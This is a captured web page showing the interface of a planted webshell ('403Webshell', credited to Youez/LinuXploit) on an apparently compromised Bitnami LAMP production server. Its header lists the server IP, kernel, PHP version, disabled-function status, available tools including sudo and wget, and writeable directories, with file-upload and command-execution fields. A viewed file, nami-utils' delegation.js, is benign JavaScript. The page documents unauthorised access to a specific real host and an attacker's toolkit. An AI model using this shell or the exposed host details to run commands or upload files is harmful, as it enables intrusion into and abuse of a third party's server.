403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/nami-utils/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/nami-utils/lib/delegation.js
'use strict';
const _ = require('lodash');

function _delegateProperties(delegator, properties, target, options) {
  options = _.defaults(options || {}, {outputFilter: null, enumerable: null, readOnly: false});
  const outputFilter = _.isFunction(options.outputFilter) ? options.outputFilter : _.identity;
  _.each(properties, function(value, key) {
    let getter = null;
    let setter = null;
    const enumerable = options.enumerable || target.propertyIsEnumerable(value);
    if (options.readOnly) {
      setter = function() { throw new Error(`'${key}' is read-only`); };
    } else {
      setter = function(newVal) { target[value] = newVal; };
    }
    if (_.isFunction(target[value])) {
      getter = () => _.flow(target[value], outputFilter).bind(target);
    } else {
      getter = function() { return outputFilter(target[value]); };
    }
    Object.defineProperty(delegator, key, {enumerable: enumerable, set: setter, get: getter});
  });
}
function delegate(delegator, toDelegate, target, options) {
  // TODO: We should also support inputFilter
  options = _.defaults(options || {}, {outputFilter: null, enumerable: null, readOnly: false});
  target = target || delegator;

  let propertiesMap = {};
  if (_.isString(toDelegate)) {
    propertiesMap[toDelegate] = toDelegate;
  } else if (_.isArray(toDelegate)) {
    _.each(toDelegate, function(key) {
      propertiesMap[key] = key;
    });
  } else if (_.isObject(toDelegate)) {
    propertiesMap = toDelegate;
  } else {
    throw new Error(`Invalid delegation definition ${toDelegate}`);
  }
  _delegateProperties(delegator, propertiesMap, target, options);
}

module.exports = delegate;

Youez - 2016 - github.com/yon3zu
LinuXploit